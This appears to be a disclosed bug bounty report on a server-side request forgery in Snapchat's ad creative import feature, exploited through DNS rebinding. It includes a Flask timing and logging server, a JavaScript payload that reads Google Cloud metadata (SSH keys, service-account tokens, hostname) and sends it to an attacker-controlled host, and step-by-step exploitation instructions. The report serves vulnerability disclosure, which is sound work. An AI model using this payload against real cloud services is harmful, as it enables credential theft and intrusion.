Snapchat · Report #530974
Server-Side Request Forgery using Javascript allows to exfill data from Google Metadata
Summary
@nahamsec, @daeken and @ziot found a Server-Side Request Forgery (SSRF) vulnerability in https://business.snapchat.com which they exploit by providing a custom webpage configured to utilize DNS rebinding to access internal web endpoints like the Google Metadata Service. Using this they are able to mint tokens for the service-account assigned to the instance hosting the Chrome instances used for extracting webpages assets for media projects.
How it was found
Hey there, I was looking at your ads site with @daeken, we found some weird behavior in the import function of the creative app. Here are the steps:
#POC
- Login to https://business.snapchat.com/
- Go to creative library -> New Creative
- Under "Topsnap Media", click on "Create"
- Click on any of the templates and load it
- Click on one of the images in the template -> Replace -> Import
- This is where the SSRF exists. Where you fetch images for your creative (
/api/v1/media/import) - Run this somewhere publicly accessible:
from flask import Flask, request
from flask_cors import CORS
from time import sleep
app = Flask(__name__)
CORS(app)
import logging
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
@app.route("/")
def helloWorld():
sleep(3)
return 'hi!'
@app.route('/log')
def log():
print request.args['msg']
return ''
app.run(host='0.0.0.0')
- Put this on another domain you control. Change demon.██████████ to the host where you put this html file, and change ssh.████ to the host you're running the timing script (above) on.
<script>
var logTimeServer = 'ssh.█████';
var attackServer = 'demon.██████';
function log(data) {
var sreq = new XMLHttpRequest();
sreq.open('GET', 'http://' + logTimeServer + ':5000/log?msg=' + encodeURI(data), true);
sreq.send();
}
function get(url) {
try {
var req = new XMLHttpRequest();
req.open('GET', url, false);
req.setRequestHeader('X-Google-Metadata-Request', 'True');
req.send(null);
if(req.status == 200)
return req.responseText;
else
return '[failed status=' + req.status + ']';
} catch(err) {
log(err);
}
return null;
}
log('Triggered in ' + window.location.href);
for(var i = 0; i < 60; ++i) {
log('Loop ' + i);
var req = new XMLHttpRequest();
req.open('GET', 'http://' + logTimeServer + ':5000/', false);
req.send();
}
log('SSH Keys: ' + get('http://' + attackServer + '/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json'));
log('Service Accounts: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/service-accounts/?recursive=true&alt=json'));
log('Hostname: ' + get('http://' + attackServer + '/computeMetadata/v1/instance/hostname'));
</script>
- Now hit
/api/v1/media/importonads.snapchat.com, with the URL parameter http://demon.███████/ssrf.html (or wherever you run it) - Immediately after requesting
ssrf.html, switch the DNS on the domain to point to 169.254.169.254, and wait 3 minutes. ssrf.html needs to be running on port 80, that way when the DNS changes, it starts talking to the metadata service.
Impact
#SSH Keys:
SSH Keys: "██████"
#Hostname:
█████████